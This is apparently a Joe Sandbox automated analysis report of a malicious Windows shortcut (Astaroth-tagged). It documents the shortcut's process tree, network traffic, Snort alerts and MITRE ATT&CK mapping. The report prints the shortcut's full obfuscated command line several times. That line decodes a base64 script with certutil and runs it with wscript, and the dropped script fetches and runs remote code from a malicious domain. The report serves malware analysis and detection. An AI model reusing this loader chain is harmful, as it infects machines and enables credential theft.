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Windows Analysis Report
Pyo37mDzQ2.lnk

Overview

General Information

Sample Name:	Pyo37mDzQ2.lnk
Analysis ID:	795108
MD5:	d52ac7755bd61b035235df79fabe1b59
SHA1:	4e7a57f7c7fc8ee15cb390337983d116220c7625
SHA256:	f3c3d2fae15f05589f8860df40d0533165484fb2975b2204c2f7cca750eb7b51
Tags:	AstarothBRAgeoGuildmalnk
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

Windows shortcut file (LNK) starts blacklisted processes

Snort IDS alert for network traffic

Obfuscated command line found

Queries the volume information (name, serial number etc) of a device

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 3232 cmdline: C:\Windows\system32\cmd.exe /V/D/c md C:\9cEA9JA\>nul 2>&1 &&s^eT SEEH=C:\9cEA9JA\^9cEA9JA.^jS&&echo dmFyIENmS3I9InNjIisiciI7RGZLcj0iaXAiKyJ0OmgiO0VmS3I9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDZktyK0RmS3IrRWZLcisiLy9uaXVhOWYudGFiY29wZXJvby5zYnMvPzEvIik7>!SEEH!&&cErtUtil -f -dEco^de !SEEH! !SEEH!&&ca^ll !SEEH! MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

certutil.exe (PID: 5148 cmdline: cErtUtil -f -dEcode C:\9cEA9JA\9cEA9JA.jS C:\9cEA9JA\9cEA9JA.jS MD5: EB199893441CED4BBBCB547FE411CF2D)

wscript.exe (PID: 5188 cmdline: "C:\Windows\System32\WScript.exe" "C:\9cEA9JA\9cEA9JA.jS" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cleanup

Snort Signatures

ETPRO TROJAN Astaroth Stealer Activity (GET) - Source IP: 192.168.2.6 - Destination IP: 104.21.40.83

Timestamp:	192.168.2.6104.21.40.8349711802851288 01/31/23-12:59:14.367073
SID:	2851288
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 31 Jan 2023 11:59:15 GMTTransfer-Encoding: chunkedConnection: closeCF-Cache-Status: MISSSet-Cookie: __cf_bm=BIs2LD8_lhYDyYXTr0ymbzT_KjzhpIsN6DuljoTCxPg-1675166355-0-AV0FRZbQ/YWpHBGdw9CVjNw7G3I271nQZwq5VNc0+DtOmaDFBWm4yRe3SpBDVzanTI+rvMZJJ+XxqLF7XCOqemeSvMWAAipIG/oYn2fhIk83; path=/; expires=Tue, 31-Jan-23 12:29:15 GMT; domain=.www.cloudflare.com; HttpOnly; Secure; SameSite=NoneServer-Timing: cf-q-config;dur=8.000002708286e-06Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hNqoFO77GrxC4JG2BDzytZSNLUsdJe6l4oWIHVR1%2FQiLT3nU62Aje%2BDZd%2FXg0%2BSlGBRK9IsQhcIJX3XRAcR%2F08liOBCIEl%2ByvnWfusySEzWgAXvDKFweB1o508oh0bj7gDofBA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Set-Cookie: __cflb=02DiuJFZNR1vT983reJ7ooDAdV9yu7NGmzFHzmddKWhKi; SameSite=None; Secure; path=/; expires=Wed, 01-Feb-23 10:59:15 GMT; HttpOnlyServer: cloudflareCF-RAY: 792247b819f291f3-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Source: wscript.exe, 00000003.00000003.253451427.0000021060705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: hTtP://niua9f.tabcoperoo.sbs/?1/
Source: wscript.exe, 00000003.00000003.253408697.00000210607A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248160964.00000210607A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.254191636.00000210607A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wscript.exe, 00000003.00000002.254076024.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://niua9f.tabcoperoo.sbs/
Source: wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://niua9f.tabcoperoo.sbs/?1/
Source: wscript.exe, 00000003.00000002.254076024.0000021060728000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253581606.0000021060728000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comp
Source: wscript.exe, 00000003.00000002.254076024.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/
Source: wscript.exe, 00000003.00000002.254076024.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/M
Source: wscript.exe, 00000003.00000003.253581606.0000021060783000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060783000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/cdn-cgi/error
Source: wscript.exe, 00000003.00000003.248214429.0000021060783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/cdn-cgi/errorP%
Source: wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/cdn-cgi/errore.com/U

Source: unknown

DNS traffic detected: queries for: niua9f.tabcoperoo.sbs

Source: global traffic	HTTP traffic detected: GET /cdn-cgi/error HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: www.cloudflare.com
Source: global traffic	HTTP traffic detected: GET /?1/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: niua9f.tabcoperoo.sbsConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.16.123.96:443 -> 192.168.2.6:49712 version: TLS 1.2

Source: C:\Windows\System32\certutil.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /V/D/c md C:\9cEA9JA\>nul 2>&1 &&s^eT SEEH=C:\9cEA9JA\^9cEA9JA.^jS&&echo dmFyIENmS3I9InNjIisiciI7RGZLcj0iaXAiKyJ0OmgiO0VmS3I9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDZktyK0RmS3IrRWZLcisiLy9uaXVhOWYudGFiY29wZXJvby5zYnMvPzEvIik7>!SEEH!&&cErtUtil -f -dEco^de !SEEH! !SEEH!&&ca^ll !SEEH!
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\certutil.exe cErtUtil -f -dEcode C:\9cEA9JA\9cEA9JA.jS C:\9cEA9JA\9cEA9JA.jS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\9cEA9JA\9cEA9JA.jS"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\certutil.exe cErtUtil -f -dEcode C:\9cEA9JA\9cEA9JA.jS C:\9cEA9JA\9cEA9JA.jS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\9cEA9JA\9cEA9JA.jS"

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: classification engine

Classification label: mal68.evad.winLNK@6/1@2/2

Source: C:\Windows\System32\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Data Obfuscation

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /V/D/c md C:\9cEA9JA\>nul 2>&1 &&s^eT SEEH=C:\9cEA9JA\^9cEA9JA.^jS&&echo dmFyIENmS3I9InNjIisiciI7RGZLcj0iaXAiKyJ0OmgiO0VmS3I9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDZktyK0RmS3IrRWZLcisiLy9uaXVhOWYudGFiY29wZXJvby5zYnMvPzEvIik7>!SEEH!&&cErtUtil -f -dEco^de !SEEH! !SEEH!&&ca^ll !SEEH!

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\cmd.exe

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: wscript.exe, 00000003.00000002.254076024.0000021060728000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253581606.0000021060728000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: wscript.exe, 00000003.00000003.253581606.000002106078D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.254076024.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000002.254076024.000002106078D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.000002106078D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 104.21.40.83 80
Source: C:\Windows\System32\wscript.exe	Domain query: www.cloudflare.com
Source: C:\Windows\System32\wscript.exe	Domain query: niua9f.tabcoperoo.sbs
Source: C:\Windows\System32\wscript.exe	Network Connect: 104.16.123.96 443

Source: unknown

Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /v/d/c md c:\9cea9ja\>nul 2>&1 &&s^et seeh=c:\9cea9ja\^9cea9ja.^js&&echo dmfyienms3i9innjiisicii7rgzlcj0iaxaikyj0omgio0vms3i9ilqikyj0ucirijoio0dlde9iamvjdchdzktyk0rms3irrwzlcisily9uaxvhowyudgfiy29wzxjvby5zynmvpzeviik7>!seeh!&&certutil -f -deco^de !seeh! !seeh!&&ca^ll !seeh!

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\certutil.exe cErtUtil -f -dEcode C:\9cEA9JA\9cEA9JA.jS C:\9cEA9JA\9cEA9JA.jS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\9cEA9JA\9cEA9JA.jS"

Source: C:\Windows\System32\cmd.exe

Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Command and Scripting Interpreter	Path Interception	111 Process Injection	111 Process Injection	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Scripting	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	14 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hTtP://niua9f.tabcoperoo.sbs/?1/	0%	Avira URL Cloud	safe
http://niua9f.tabcoperoo.sbs/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.cloudflare.com	104.16.123.96	true	false		high
niua9f.tabcoperoo.sbs	104.21.40.83	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://niua9f.tabcoperoo.sbs/?1/	true		unknown
https://www.cloudflare.com/cdn-cgi/error	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
hTtP://niua9f.tabcoperoo.sbs/?1/	wscript.exe, 00000003.00000003.253451427.0000021060705000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://niua9f.tabcoperoo.sbs/	wscript.exe, 00000003.00000002.254076024.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/cdn-cgi/errorP%	wscript.exe, 00000003.00000003.248214429.0000021060783000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/	wscript.exe, 00000003.00000002.254076024.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/cdn-cgi/errore.com/U	wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/M	wscript.exe, 00000003.00000002.254076024.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.253451427.0000021060745000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.248214429.0000021060761000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.40.83	niua9f.tabcoperoo.sbs	United States		13335	CLOUDFLARENETUS	true
104.16.123.96	www.cloudflare.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	795108
Start date and time:	2023-01-31 12:58:15 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 3m 10s
Hypervisor based Inspection enabled:	false
Report type:	light
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	Pyo37mDzQ2.lnk
Detection:	MAL
Classification:	mal68.evad.winLNK@6/1@2/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .lnk Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): conhost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.697147484425549
Encrypted:	false
SSDEEP:	3:qyuX+oOhDuXYHMWde5IYx1iHeYYGRZPyXXLcfvBRHfn:qyfv+3WdeRzke5IPynL0vnHf
MD5:	3D8FB0FB90641271F11C02795AEAEFA1
SHA1:	D2248D3C840633191E56D225136FD43F6237245B
SHA-256:	F0CB27B5D3E72DD6BCF9CA34F67FBDABC89BA5494CA923498D2207866FE6634B
SHA-512:	E4F47672E29942BF631B17946C8BDF5991BD46F8B3B98D9B6D7693B9FD9F44BB80A9420E33BB122D597AD09CB00911B13E97476126FF0FE3BCA86E716E81977F
Malicious:	false
Reputation:	low
Preview:	var CfKr="sc"+"r";DfKr="ip"+"t:h";EfKr="T"+"tP"+":";GetObject(CfKr+DfKr+EfKr+"//niua9f.tabcoperoo.sbs/?1/");

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Working directory, Has command line arguments, Archive, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
Entropy (8bit):	5.401600363387979
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Pyo37mDzQ2.lnk
File size:	481
MD5:	d52ac7755bd61b035235df79fabe1b59
SHA1:	4e7a57f7c7fc8ee15cb390337983d116220c7625
SHA256:	f3c3d2fae15f05589f8860df40d0533165484fb2975b2204c2f7cca750eb7b51
SHA512:	880eaff5bd403739440ce8d1cdb56d4660cd9d72458414e6982806c2c8192508d80c59b9d49dfaf7fed012c8c924e9cde9391894f0cc6e3b7133e60d075dcacf
SSDEEP:	12:8rflM8OBE6ZGQWgkxe5D5hex1tjdsLKOmesAzm74Uj1cSTj3pqexA:8loGQWFxed5he7taLKOg8m7jj1cuAe2
TLSH:	B8F0AB9D90402D70E8296CB7CA820F106B5DFE830B002022039E029A8170A889E1E268
File Content Preview:	L..................F1... ...................................................]....P.O. .:i.....+00.../C:\......................+.2...........wINdOws\sYSteM32\conHost.EXe.....C:\wINdOws\sYSteM32..%ComSpec% /V/D/c "md C:\9cEA9JA\>nul 2>&1 &&s^eT SEEH=C:\9cEA

File Icon


Icon Hash:	00828e868e89bd0d

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	%ComSpec% /V/D/c "md C:\9cEA9JA\>nul 2>&1 &&s^eT SEEH=C:\9cEA9JA\^9cEA9JA.^jS&&echo dmFyIENmS3I9InNjIisiciI7RGZLcj0iaXAiKyJ0OmgiO0VmS3I9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDZktyK0RmS3IrRWZLcisiLy9uaXVhOWYudGFiY29wZXJvby5zYnMvPzEvIik7>!SEEH!&&cErtUtil -f -dEco^de !SEEH! !SEEH!&&ca^ll !SEEH!"
Icon location:

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6104.21.40.8349711802851288 01/31/23-12:59:14.367073	TCP	2851288	ETPRO TROJAN Astaroth Stealer Activity (GET)	49711	80	192.168.2.6	104.21.40.83

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 31, 2023 12:59:14.349073887 CET	49711	80	192.168.2.6	104.21.40.83
Jan 31, 2023 12:59:14.366229057 CET	80	49711	104.21.40.83	192.168.2.6
Jan 31, 2023 12:59:14.366476059 CET	49711	80	192.168.2.6	104.21.40.83
Jan 31, 2023 12:59:14.367073059 CET	49711	80	192.168.2.6	104.21.40.83
Jan 31, 2023 12:59:14.384046078 CET	80	49711	104.21.40.83	192.168.2.6
Jan 31, 2023 12:59:14.581177950 CET	80	49711	104.21.40.83	192.168.2.6
Jan 31, 2023 12:59:14.581281900 CET	49711	80	192.168.2.6	104.21.40.83
Jan 31, 2023 12:59:14.638326883 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:14.638390064 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:14.638463020 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:14.778786898 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:14.778856993 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:14.828788996 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:14.828986883 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:15.208287001 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:15.208333969 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:15.208878040 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:15.209012985 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:15.212465048 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:15.212539911 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:15.262185097 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:15.262284040 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:15.262373924 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:15.262415886 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:15.281167984 CET	49712	443	192.168.2.6	104.16.123.96
Jan 31, 2023 12:59:15.281203985 CET	443	49712	104.16.123.96	192.168.2.6
Jan 31, 2023 12:59:18.240602016 CET	49711	80	192.168.2.6	104.21.40.83

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 31, 2023 12:59:14.306969881 CET	49448	53	192.168.2.6	8.8.8.8
Jan 31, 2023 12:59:14.331960917 CET	53	49448	8.8.8.8	192.168.2.6
Jan 31, 2023 12:59:14.596761942 CET	59082	53	192.168.2.6	8.8.8.8
Jan 31, 2023 12:59:14.620973110 CET	53	59082	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 31, 2023 12:59:14.306969881 CET	192.168.2.6	8.8.8.8	0x412b	Standard query (0)	niua9f.tabcoperoo.sbs	A (IP address)	IN (0x0001)	false
Jan 31, 2023 12:59:14.596761942 CET	192.168.2.6	8.8.8.8	0xef78	Standard query (0)	www.cloudflare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 31, 2023 12:59:14.331960917 CET	8.8.8.8	192.168.2.6	0x412b	No error (0)	niua9f.tabcoperoo.sbs	104.21.40.83	A (IP address)	IN (0x0001)	false
Jan 31, 2023 12:59:14.331960917 CET	8.8.8.8	192.168.2.6	0x412b	No error (0)	niua9f.tabcoperoo.sbs	172.67.182.146	A (IP address)	IN (0x0001)	false
Jan 31, 2023 12:59:14.620973110 CET	8.8.8.8	192.168.2.6	0xef78	No error (0)	www.cloudflare.com	104.16.123.96	A (IP address)	IN (0x0001)	false
Jan 31, 2023 12:59:14.620973110 CET	8.8.8.8	192.168.2.6	0xef78	No error (0)	www.cloudflare.com	104.16.124.96	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.cloudflare.com

niua9f.tabcoperoo.sbs

Target ID:	1
Start time:	12:59:11
Start date:	31/01/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /V/D/c md C:\9cEA9JA\>nul 2>&1 &&s^eT SEEH=C:\9cEA9JA\^9cEA9JA.^jS&&echo dmFyIENmS3I9InNjIisiciI7RGZLcj0iaXAiKyJ0OmgiO0VmS3I9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDZktyK0RmS3IrRWZLcisiLy9uaXVhOWYudGFiY29wZXJvby5zYnMvPzEvIik7>!SEEH!&&cErtUtil -f -dEco^de !SEEH! !SEEH!&&ca^ll !SEEH!
Imagebase:	0x7ff7cb270000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: certutil.exePID: 5148, Parent PID: 3232

General

Target ID:	2
Start time:	12:59:11
Start date:	31/01/2023
Path:	C:\Windows\System32\certutil.exe
Wow64 process (32bit):	false
Commandline:	cErtUtil -f -dEcode C:\9cEA9JA\9cEA9JA.jS C:\9cEA9JA\9cEA9JA.jS
Imagebase:	0x7ff638c70000
File size:	1557504 bytes
MD5 hash:	EB199893441CED4BBBCB547FE411CF2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: wscript.exePID: 5188, Parent PID: 3232

General

Target ID:	3
Start time:	12:59:12
Start date:	31/01/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\9cEA9JA\9cEA9JA.jS"
Imagebase:	0x7ff64c9e0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
